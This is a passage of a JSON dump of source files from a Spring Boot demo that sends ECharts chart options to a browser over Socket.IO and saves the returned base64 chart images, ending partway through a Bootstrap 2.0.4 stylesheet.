    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Title\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Title {\n    private String text;\n\n    public String getText() {\n        return text;\n    }\n\n    public void setText(String text) {\n        this.text = text;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Toolbox.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Toolbox\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Toolbox {\n    private boolean show;\n    private Feature feature;\n\n    public Toolbox() {\n    }\n\n    public Toolbox(boolean show, Feature feature) {\n        this.show = show;\n        this.feature = feature;\n    }\n\n    public boolean isShow() {\n        return show;\n    }\n\n    public void setShow(boolean show) {\n        this.show = show;\n    }\n\n    public Feature getFeature() {\n        return feature;\n    }\n\n    public void setFeature(Feature feature) {\n        this.feature = feature;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/Tooltip.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * Tooltip\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class Tooltip {\n    private String trigger;\n    private AxisPointer axisPointer;\n\n    public Tooltip() {\n    }\n\n    public Tooltip(String trigger, AxisPointer axisPointer) {\n        this.trigger = trigger;\n        this.axisPointer = axisPointer;\n    }\n\n    public String getTrigger() {\n        return trigger;\n    }\n\n    public void setTrigger(String trigger) {\n        this.trigger = trigger;\n    }\n\n    public AxisPointer getAxisPointer() {\n        return axisPointer;\n    }\n\n    public void setAxisPointer(AxisPointer axisPointer) {\n        this.axisPointer = axisPointer;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/XAxis.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * XAxis\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class XAxis {\n    private String type;\n    private String name;\n\n    public XAxis() {\n    }\n\n    public XAxis(String type, String name) {\n        this.type = type;\n        this.name = name;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/YAxis.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\nimport java.util.List;\n\n/**\n * YAxis\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class YAxis {\n    private String type;\n    private boolean inverse;\n    private List<String> data;\n    private YAxisLabel axisLabel;\n\n    public YAxis() {\n    }\n\n    public YAxis(String type, boolean inverse, List<String> data, YAxisLabel axisLabel) {\n        this.type = type;\n        this.inverse = inverse;\n        this.data = data;\n        this.axisLabel = axisLabel;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public boolean isInverse() {\n        return inverse;\n    }\n\n    public void setInverse(boolean inverse) {\n        this.inverse = inverse;\n    }\n\n    public List<String> getData() {\n        return data;\n    }\n\n    public void setData(List<String> data) {\n        this.data = data;\n    }\n\n    public YAxisLabel getAxisLabel() {\n        return axisLabel;\n    }\n\n    public void setAxisLabel(YAxisLabel axisLabel) {\n        this.axisLabel = axisLabel;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/api/model/jmh/YAxisLabel.java",
    "content": "package com.xncoding.echarts.api.model.jmh;\n\n/**\n * YAxisLabel\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/9\n */\npublic class YAxisLabel {\n    private Integer margin;\n\n    public YAxisLabel() {\n    }\n\n    public YAxisLabel(Integer margin) {\n        this.margin = margin;\n    }\n\n    public Integer getMargin() {\n        return margin;\n    }\n\n    public void setMargin(Integer margin) {\n        this.margin = margin;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/common/ServerRunner.java",
    "content": "package com.xncoding.echarts.common;\n\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.xncoding.echarts.config.properties.MyProperties;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.Resource;\nimport java.io.IOException;\n\n/**\n * SpringBoot启动之后执行\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2017/7/31\n */\n@Component\n@Order(1)\npublic class ServerRunner implements CommandLineRunner {\n    private final Logger logger = LoggerFactory.getLogger(this.getClass());\n    private final SocketIOServer server;\n    // 下载地址，版本2.1.1：https://bitbucket.org/ariya/phantomjs/downloads/\n    private static final String PHANTOM_PATH = \"phantomjs\";\n    @Resource\n    private MyProperties p;\n\n    @Autowired\n    public ServerRunner(SocketIOServer server) {\n        this.server = server;\n    }\n\n    @Override\n    public void run(String... args) {\n        logger.info(\"ServerRunner 开始启动啦...\");\n        server.start();\n        logger.info(\"SocketServer 启动成功！\");\n        logger.info(\"点击打开首页: http://localhost:9075\");\n        // 启动socker服务器后，通过phantomjs启动浏览器网页客户端\n//        openHtml(p.getLoadJs());\n//        logger.info(\"Phantomjs 启动成功！\");\n    }\n\n//    private void openHtml(String loadJs) {\n//        String cmdStr = PHANTOM_PATH + \" \" + loadJs + \" \" + \"http://localhost:9075\";\n//        logger.info(\"cmdStr=\" + cmdStr);\n//        Runtime rt = Runtime.getRuntime();\n//        try {\n//            rt.exec(cmdStr);\n//        } catch (IOException e) {\n//            logger.error(\"执行phantomjs的指令失败！PhantomJs详情参考这里:http://phantomjs.org\", e);\n//        }\n//    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/common/constants/MsgType.java",
    "content": "package com.xncoding.echarts.common.constants;\n\n/**\n * 消息类型\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/8\n */\npublic class MsgType {\n    public static final String TYPE1 = \"type1\";\n    public static final String TYPE2 = \"type2\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/common/util/CommonUtil.java",
    "content": "package com.xncoding.echarts.common.util;\n\n/**\n * 常用工具类，字符串、数字相关\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/15\n */\npublic class CommonUtil {\n    /**\n     * 检查某版本是否比现在版本更大些\n     *\n     * @param version    某版本\n     * @param nowVersion 现在使用的版本\n     * @return 是否版本数更大\n     */\n    public static boolean isNewer(String version, String nowVersion) {\n        try {\n            String[] versions = version.split(\"\\\\.\");\n            String[] nowVersions = nowVersion.split(\"\\\\.\");\n\n            if (versions.length != nowVersions.length) {\n                return false;\n            }\n            int sum = 0;\n            for (String v : versions) {\n                sum += sum * 10 + Integer.valueOf(v);\n            }\n\n            int nowSum = 0;\n            for (String nv : nowVersions) {\n                nowSum += nowSum * 10 + Integer.valueOf(nv);\n            }\n\n            return sum > nowSum;\n        } catch (NumberFormatException e) {\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/common/util/ExportPngUtil.java",
    "content": "package com.xncoding.echarts.common.util;\n\nimport com.xncoding.echarts.api.model.jmh.*;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport okhttp3.*;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * ExportPngUtil\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\npublic class ExportPngUtil {\n\n    public static void postOption(String optionStr, String url) throws Exception {\n        final MediaType TEXT = MediaType.parse(\"application/text; charset=utf-8\");\n        OkHttpClient client = new OkHttpClient();\n        RequestBody body = RequestBody.create(TEXT, optionStr);\n        Request request = new Request.Builder()\n                .url(url)\n                .post(body)\n                .build();\n        Response response = client.newCall(request).execute();\n        if (response.isSuccessful()) {\n            System.out.println(response.body().string());\n        } else {\n            throw new IOException(\"Unexpected code \" + response);\n        }\n    }\n\n    public static String generateOption(String titleStr, List<String> objects, List<String> dimensions,\n                                  List<List<Double>> allData, String xunit) {\n        Option option = new Option();\n        // \"title\"\n        Title title = new Title();\n        title.setText(titleStr);\n        // \"tooltip\"\n        Tooltip tooltip = new Tooltip(\"axis\", new AxisPointer(\"shadow\"));\n        // \"legend\"\n        Legend legend = new Legend(objects);\n        // \"grid\"\n        Grid grid = new Grid(100);\n        // \"toolbox\"\n        Toolbox toolbox = new Toolbox(false, new Feature(new SaveAsImage(\"png\")));\n        // \"xAxis\"\n        XAxis xAxis = new XAxis(\"value\", xunit);\n        // \"yAxis\"\n        YAxis yAxis = new YAxis(\"category\", false, dimensions, new YAxisLabel(20));\n        // \"series\"\n        List<Serie> series = new ArrayList<>();\n        for (int i = 0; i < allData.size(); i++) {\n            Serie serie = new Serie();\n            serie.setName(objects.get(i));\n            serie.setType(\"bar\");\n            serie.setLabel(new Label(new Normal(true, 2)));\n            serie.setData(allData.get(i));\n            series.add(serie);\n        }\n\n        // 开始设置option\n        option.setTitle(title);\n        option.setTooltip(tooltip);\n        option.setLegend(legend);\n        option.setGrid(grid);\n        option.setToolbox(toolbox);\n        option.setxAxis(xAxis);\n        option.setyAxis(yAxis);\n        option.setSeries(series);\n\n        String jsonString = null;\n        try {\n            jsonString = new ObjectMapper().writeValueAsString(option);\n        } catch (JsonProcessingException e) {\n            e.printStackTrace();\n        }\n        return jsonString;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/config/NettySocketConfig.java",
    "content": "package com.xncoding.echarts.config;\n\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.corundumstudio.socketio.annotation.SpringAnnotationScanner;\nimport com.xncoding.echarts.config.properties.MyProperties;\nimport com.xncoding.echarts.service.ApiService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.annotation.Resource;\n\n/**\n * NettySocketConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/19\n */\n@Configuration\npublic class NettySocketConfig {\n\n    @Resource\n    private MyProperties myProperties;\n\n    @Resource\n    private ApiService apiService;\n\n    private static final Logger logger = LoggerFactory.getLogger(NettySocketConfig.class);\n\n    @Bean\n    public SocketIOServer socketIOServer() {\n        /*\n         * 创建Socket，并设置监听端口\n         */\n        com.corundumstudio.socketio.Configuration config = new com.corundumstudio.socketio.Configuration();\n        // 设置主机名，默认是0.0.0.0\n        // config.setHostname(\"localhost\");\n        // 设置监听端口\n        config.setPort(myProperties.getSocketPort());\n        // 协议升级超时时间（毫秒），默认10000。HTTP握手升级为ws协议超时时间\n        config.setUpgradeTimeout(10000);\n        // Ping消息间隔（毫秒），默认25000。客户端向服务器发送一条心跳消息间隔\n        config.setPingInterval(myProperties.getPingInterval());\n        // Ping消息超时时间（毫秒），默认60000，这个时间间隔内没有接收到心跳消息就会发送超时事件\n        config.setPingTimeout(myProperties.getPingTimeout());\n        return new SocketIOServer(config);\n    }\n\n    @Bean\n    public SpringAnnotationScanner springAnnotationScanner(SocketIOServer socketServer) {\n        return new SpringAnnotationScanner(socketServer);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/config/properties/MyProperties.java",
    "content": "package com.xncoding.echarts.config.properties;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\n\n/**\n * 本项目自定义配置\n *\n * @author xiongneng\n * @since 2018/01/06 21:09\n */\n@Component\n@ConfigurationProperties(prefix = \"xncoding\")\npublic class MyProperties {\n    /**\n     * socket端口\n     */\n    private Integer socketPort;\n    /**\n     * Ping消息间隔（毫秒）\n     */\n    private Integer pingInterval;\n    /**\n     * Ping消息超时时间（毫秒）\n     */\n    private Integer pingTimeout;\n    /**\n     * 图片保存路径\n     */\n    private String imageDir;\n    /**\n     * Phantomjs加载文件\n     */\n    private String loadJs;\n    /**\n     * 打开的HTMl文件\n     */\n    private String indexHtml;\n\n    public Integer getSocketPort() {\n        return socketPort;\n    }\n\n    public void setSocketPort(Integer socketPort) {\n        this.socketPort = socketPort;\n    }\n\n    public Integer getPingInterval() {\n        return pingInterval;\n    }\n\n    public void setPingInterval(Integer pingInterval) {\n        this.pingInterval = pingInterval;\n    }\n\n    public Integer getPingTimeout() {\n        return pingTimeout;\n    }\n\n    public void setPingTimeout(Integer pingTimeout) {\n        this.pingTimeout = pingTimeout;\n    }\n\n    public String getImageDir() {\n        return imageDir;\n    }\n\n    public void setImageDir(String imageDir) {\n        this.imageDir = imageDir;\n    }\n\n    public String getLoadJs() {\n        return loadJs;\n    }\n\n    public void setLoadJs(String loadJs) {\n        this.loadJs = loadJs;\n    }\n\n    public String getIndexHtml() {\n        return indexHtml;\n    }\n\n    public void setIndexHtml(String indexHtml) {\n        this.indexHtml = indexHtml;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/controller/IndexController.java",
    "content": "package com.xncoding.echarts.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n/**\n * IndexController\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/24\n */\n@Controller\npublic class IndexController {\n    /**\n     * 首页\n     */\n    @RequestMapping(value = \"/\")\n    public String index() {\n        return \"index\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/handler/MessageEventHandler.java",
    "content": "package com.xncoding.echarts.handler;\n\nimport com.corundumstudio.socketio.AckRequest;\nimport com.corundumstudio.socketio.SocketIOClient;\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.corundumstudio.socketio.annotation.OnConnect;\nimport com.corundumstudio.socketio.annotation.OnDisconnect;\nimport com.corundumstudio.socketio.annotation.OnEvent;\nimport com.xncoding.echarts.common.constants.MsgType;\nimport com.xncoding.echarts.config.properties.MyProperties;\nimport com.xncoding.echarts.service.ApiService;\nimport io.socket.client.Socket;\nimport org.apache.commons.codec.binary.Base64;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.time.FastDateFormat;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.Resource;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Date;\n\n/**\n * 消息事件处理器\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/19\n */\n@Component\npublic class MessageEventHandler {\n    @Resource\n    private MyProperties p;\n    private final SocketIOServer server;\n    private final ApiService apiService;\n\n    private static final Logger logger = LoggerFactory.getLogger(MessageEventHandler.class);\n\n    @Autowired\n    public MessageEventHandler(SocketIOServer server, ApiService apiService) {\n        this.server = server;\n        this.apiService = apiService;\n    }\n\n    /**\n     * 添加connect事件，当客户端发起连接时调用\n     *\n     * @param client 客户端\n     */\n    @OnConnect\n    public void onConnect(SocketIOClient client) {\n        if (client != null) {\n            final String sessionId = client.getSessionId().toString();\n            logger.info(\"连接成功, sessionId=\" + sessionId);\n            // 赶紧保存这个sessionID呀\n            apiService.updateSessionId(sessionId);\n        } else {\n            logger.error(\"客户端为空\");\n        }\n    }\n\n    /**\n     * 添加@OnDisconnect事件，客户端断开连接时调用，刷新客户端信息\n     *\n     * @param client 客户端\n     */\n    @OnDisconnect\n    public void onDisconnect(SocketIOClient client) {\n        logger.info(\"客户端断开连接, sessionId=\" + client.getSessionId().toString());\n        client.disconnect();\n    }\n\n    /**\n     * 保存客户端传来的图片数据\n     *\n     * @param client     客户端\n     * @param ackRequest 回执消息\n     * @param imgData    Base64的图形数据\n     */\n    @OnEvent(value = \"savePic\")\n    public void onSavePic(SocketIOClient client, AckRequest ackRequest, String imgData) {\n        logger.info(\"保存客户端传来的图片数据 start, sessionId=\" + client.getSessionId().toString());\n        String r = apiService.saveBase64Pic(imgData);\n        logger.info(\"保存客户端传来的图片 = {}\", r);\n        ackRequest.sendAckData(\"图片保存结果=\" + r);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/java/com/xncoding/echarts/service/ApiService.java",
    "content": "package com.xncoding.echarts.service;\n\nimport com.corundumstudio.socketio.SocketIOClient;\nimport com.corundumstudio.socketio.SocketIOServer;\nimport com.xncoding.echarts.config.properties.MyProperties;\nimport org.apache.commons.codec.binary.Base64;\nimport org.apache.commons.io.IOUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.time.FastDateFormat;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.Resource;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Date;\nimport java.util.UUID;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * 专门用来服务对外接口用Service\n */\n\n@Service\npublic class ApiService {\n\n    private static final Logger logger = LoggerFactory.getLogger(ApiService.class);\n    /**\n     * 保存最后一个连接上来的sessionID\n     */\n    private String sessionId;\n\n    @Resource\n    private MyProperties p;\n\n//    private LinkedBlockingQueue<String> queue = new LinkedBlockingQueue<>();\n\n    @Resource\n    private SocketIOServer server;\n\n    public synchronized void updateSessionId(String sid) {\n        sessionId = sid;\n    }\n\n    /**\n     * 服务器主动推送消息\n     *\n     * @param msgType 消息类型\n     * @param jsonData echarts图表数据\n     */\n    public void pushMsg(String msgType, String jsonData) {\n        SocketIOClient targetClient = this.server.getClient(UUID.fromString(sessionId));\n        if (targetClient == null) {\n            logger.error(\"sessionId=\" + sessionId + \"在server中获取不到client\");\n        } else {\n            targetClient.sendEvent(msgType, jsonData);\n        }\n//        queue.offer(jsonData);\n    }\n\n//    public String popJson() {\n//        try {\n//            return queue.poll(100L, TimeUnit.MILLISECONDS);\n//        } catch (InterruptedException e) {\n//            e.printStackTrace();\n//            return null;\n//        }\n//    }\n\n\n    /**\n     * 解析Base64位信息并输出到某个目录下面.\n     *\n     * @param base64Info base64串\n     * @return 文件地址\n     */\n    public String saveBase64Pic(String base64Info) {\n        if (StringUtils.isEmpty(base64Info)) {\n            return \"\";\n        }\n        // 数据中：data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABI4AAAEsCAYAAAClh/jbAAA ...  在\"base64,\"之后的才是图片信息\n        String[] arr = base64Info.split(\"base64,\");\n\n        // 将图片输出到系统某目录.\n        OutputStream out = null;\n        String now = FastDateFormat.getInstance(\"yyyyMMddHHmmss\").format(new Date());\n        String destFile = p.getImageDir() + now + \".png\";\n        try {\n            // 使用了Apache commons codec的包来解析Base64\n            byte[] buffer = Base64.decodeBase64(arr[1]);\n            out = new FileOutputStream(destFile);\n            out.write(buffer);\n        } catch (IOException e) {\n            logger.error(\"解析Base64图片信息并保存到某目录下出错!\", e);\n            return \"\";\n        } finally {\n            IOUtils.closeQuietly(out);\n        }\n        return destFile;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  自定义项目配置 ###################\nxncoding:\n  socket-port: 9076    #socket端口\n  ping-interval: 60000 #Ping消息间隔（毫秒）\n  ping-timeout: 180000 #Ping消息超时时间（毫秒）\n\n###################  项目启动端口  ###################\nserver:\n  port: 9075\n  jetty:\n    max-http-post-size: 20000000\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  http:\n    multipart:\n      max-request-size: 100MB #最大请求大小\n      max-file-size: 100MB #最大文件大小\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nxncoding:\n  image-dir: E:/pics/\n  load-js: E:/pics/html/js/echarts-load.js\n  index-html: file:///E:/pics/html/index.html\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: E:/logs/sb-ehcharts.log\n\n---\n\n#####################################################################\n########################  测试环境profile  ##########################\n#####################################################################\n\nspring:\n  profiles: test\n\nxncoding:\n  image-dir: /var/pics/echarts/\n  load-js: /usr/share/nginx/html/echarts/js/echarts-load.js\n  index-html: file:///usr/share/nginx/html/echarts/index.html\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: /var/logs/sb-ehcharts.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_echarts/src/main/resources/public/static/css/bootstrap.css",
    "content": "/*!\n * Bootstrap v2.0.4\n *\n * Copyright 2012 Twitter, Inc\n * Licensed under the Apache License v2.0\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Designed and built with all the love in the world @twitter by @mdo and @fat.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nnav,\nsection {\n    display: block;\n}\n\naudio,\ncanvas,\nvideo {\n    display: inline-block;\n    *display: inline;\n    *zoom: 1;\n}\n\naudio:not([controls]) {\n    display: none;\n}\n\nhtml {\n    font-size: 100%;\n    -webkit-text-size-adjust: 100%;\n    -ms-text-size-adjust: 100%;\n}\n\na:focus {\n    outline: thin dotted #333;\n    outline: 5px auto -webkit-focus-ring-color;\n    outline-offset: -2px;\n}\n\na:hover,\na:active {\n    outline: 0;\n}\n\nsub,\nsup {\n    position: relative;\n    font-size: 75%;\n    line-height: 0;\n    vertical-align: baseline;\n}\n\nsup {\n    top: -0.5em;\n}\n\nsub {\n    bottom: -0.25em;\n}\n\nimg {\n    max-width: 100%;\n    vertical-align: middle;\n    border: 0;\n    -ms-interpolation-mode: bicubic;\n}\n\n#map_canvas img {\n    max-width: none;\n}\n\nbutton,\ninput,\nselect,\ntextarea {\n    margin: 0;\n    font-size: 100%;\n    vertical-align: middle;\n}\n\nbutton,\ninput {\n    *overflow: visible;\n    line-height: normal;\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n    padding: 0;\n    border: 0;\n}\n\nbutton,\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n    cursor: pointer;\n    -webkit-appearance: button;\n}\n\ninput[type=\"search\"] {\n    -webkit-box-sizing: content-box;\n    -moz-box-sizing: content-box;\n    box-sizing: content-box;\n    -webkit-appearance: textfield;\n}\n\ninput[type=\"search\"]::-webkit-search-decoration,\ninput[type=\"search\"]::-webkit-search-cancel-button {\n    -webkit-appearance: none;\n}\n\ntextarea {\n    overflow: auto;\n    vertical-align: top;\n}\n\n.clearfix {\n    *zoom: 1;\n}\n\n.clearfix:before,\n.clearfix:after {\n    display: table;\n    content: \"\";\n}\n\n.clearfix:after {\n    clear: both;\n}\n\n.hide-text {\n    font: 0/0 a;\n    color: transparent;\n    text-shadow: none;\n    background-color: transparent;\n    border: 0;\n}\n\n.input-block-level {\n    display: block;\n    width: 100%;\n    min-height: 28px;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    -ms-box-sizing: border-box;\n    box-sizing: border-box;\n}\n\nbody {\n    margin: 0;\n    font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n    font-size: 13px;\n    line-height: 18px;\n    color: #333333;\n    background-color: #ffffff;\n}\n\na {\n    color: #0088cc;\n    text-decoration: none;\n}\n\na:hover {\n    color: #005580;\n    text-decoration: underline;\n}\n\n.row {\n    margin-left: -20px;\n    *zoom: 1;\n}\n\n.row:before,\n.row:after {\n    display: table;\n    content: \"\";\n}\n\n.row:after {\n    clear: both;\n}\n\n[class*=\"span\"] {\n    float: left;\n    margin-left: 20px;\n}\n\n.container,\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n    width: 940px;\n}\n\n.span12 {\n    width: 940px;\n}\n\n.span11 {\n    width: 860px;\n}\n\n.span10 {\n    width: 780px;\n}\n\n.span9 {\n    width: 700px;\n}\n\n.span8 {\n    width: 620px;\n}\n\n.span7 {\n    width: 540px;\n}\n\n.span6 {\n    width: 460px;\n}\n\n.span5 {\n    width: 380px;\n}\n\n.span4 {\n    width: 300px;\n}\n\n.span3 {\n    width: 220px;\n}\n\n.span2 {\n    width: 140px;\n}\n\n.span1 {\n    width: 60px;\n}\n\n.offset12 {\n    margin-left: 980px;\n}\n\n.offset11 {\n    margin-left: 900px;\n}\n\n.offset10 {\n    margin-left: 820px;\n}\n\n.offset9 {\n    margin-left: 740px;\n}\n\n.offset8 {\n    margin-left: 660px;\n}\n\n.offset7 {\n    margin-left: 580px;\n}\n\n.offset6 {\n    margin-left: 500px;\n}\n\n.offset5 {\n    margin-left: 420px;\n}\n\n.offset4 {\n    margin-left: 340px;\n}\n\n.offset3 {\n    margin-left: 260px;\n}\n\n.offset2 {\n    margin-left: 180px;\n}\n\n.offset1 {\n    margin-left: 100px;\n}\n\n.row-fluid {\n    width: 100%;\n    *zoom: 1;\n}\n\n.row-fluid:before,\n.row-fluid:after {\n    display: table;\n    content: \"\";\n}\n\n.row-fluid:after {\n    clear: both;\n}\n\n.row-fluid [class*=\"span\"] {\n    display: block;\n    float: left;\n    width: 100%;\n    min-height: 28px;\n    margin-left: 2.127659574%;\n    *margin-left: 2.0744680846382977%;\n    -webkit-box-sizing: border-box;\n    -moz-box-sizing: border-box;\n    -ms-box-sizing: border-box;\n    box-sizing: border-box;\n}\n\n.row-fluid [class*=\"span\"]:first-child {\n    margin-left: 0;\n}\n\n.row-fluid .span12 {\n    width: 99.99999998999999%;\n    *width: 99.94680850063828%;\n}\n\n.row-fluid .span11 {\n    width: 91.489361693%;\n    *width: 91.4361702036383%;\n}\n\n.row-fluid .span10 {\n    width: 82.97872339599999%;\n    *width: 82.92553190663828%;\n}\n\n.row-fluid .span9 {\n    width: 74.468085099%;\n    *width: 74.4148936096383%;\n}\n\n.row-fluid .span8 {\n    width: 65.95744680199999%;\n    *width: 65.90425531263828%;\n}\n\n.row-fluid .span7 {\n    width: 57.446808505%;\n    *width: 57.3936170156383%;\n}\n\n.row-fluid .span6 {\n    width: 48.93617020799999%;\n    *width: 48.88297871863829%;\n}\n\n.row-fluid .span5 {\n    width: 40.425531911%;\n    *width: 40.3723404216383%;\n}\n\n.row-fluid .span4 {\n    width: 31.914893614%;\n    *width: 31.8617021246383%;\n}\n\n.row-fluid .span3 {\n    width: 23.404255317%;\n    *width: 23.3510638276383%;\n}\n\n.row-fluid .span2 {\n    width: 14.89361702%;\n    *width: 14.8404255306383%;\n}\n\n.row-fluid .span1 {\n    width: 6.382978723%;\n    *width: 6.329787233638298%;\n}\n\n.container {\n    margin-right: auto;\n    margin-left: auto;\n    *zoom: 1;\n}\n\n.container:before,\n.container:after {\n    display: table;\n    content: \"\";\n}\n\n.container:after {\n    clear: both;\n}\n\n.container-fluid {\n    padding-right: 20px;\n    padding-left: 20px;\n    *zoom: 1;\n}\n\n.container-fluid:before,\n.container-fluid:after {\n    display: table;\n    content: \"\";\n}\n\n.container-fluid:after {\n    clear: both;\n}\n\np {\n    margin: 0 0 9px;\n}\n\np small {\n    font-size: 11px;\n    color: #999999;\n}\n\n.lead {\n    margin-bottom: 18px;\n    font-size: 20px;\n    font-weight: 200;\n    line-height: 27px;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n    margin: 0;\n    font-family: inherit;\n    font-weight: bold;\n    color: inherit;\n    text-rendering: optimizelegibility;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small {\n    font-weight: normal;\n    color: #999999;\n}\n\nh1 {\n    font-size: 30px;\n    line-height: 36px;\n}\n\nh1 small {\n    font-size: 18px;\n}\n\nh2 {\n    font-size: 24px;\n    line-height: 36px;\n}\n\nh2 small {\n    font-size: 18px;\n}\n\nh3 {\n    font-size: 18px;\n    line-height: 27px;\n}\n\nh3 small {\n    font-size: 14px;\n}\n\nh4,\nh5,\nh6 {\n    line-height: 18px;\n}\n\nh4 {\n    font-size: 14px;\n}\n\nh4 small {\n    font-size: 12px;\n}\n\nh5 {\n    font-size: 12px;\n}\n\nh6 {\n    font-size: 11px;\n    color: #999999;\n    text-transform: uppercase;\n}\n\n.page-header {\n    padding-bottom: 17px;\n    margin: 18px 0;\n    border-bottom: 1px solid #eeeeee;\n}\n\n.page-header h1 {\n    line-height: 1;\n}\n\nul,\nol {\n    padding: 0;\n    margin: 0 0 9px 25px;\n}\n\nul ul,\nul ol,\nol ol,\nol ul {\n    margin-bottom: 0;\n}\n\nul {\n    list-style: disc;\n}\n\nol {\n    list-style: decimal;\n}\n\nli {\n    line-height: 18px;\n}\n\nul.unstyled,\nol.unstyled {\n    margin-left: 0;\n    list-style: none;\n}\n\ndl {\n    margin-bottom: 18px;\n}\n\ndt,\ndd {\n    line-height: 18px;\n}\n\ndt {\n    font-weight: bold;\n    line-height: 17px;\n}\n\ndd {\n    margin-left: 9px;\n}\n\n.dl-horizontal dt {\n    float: left;\n    width: 120px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: 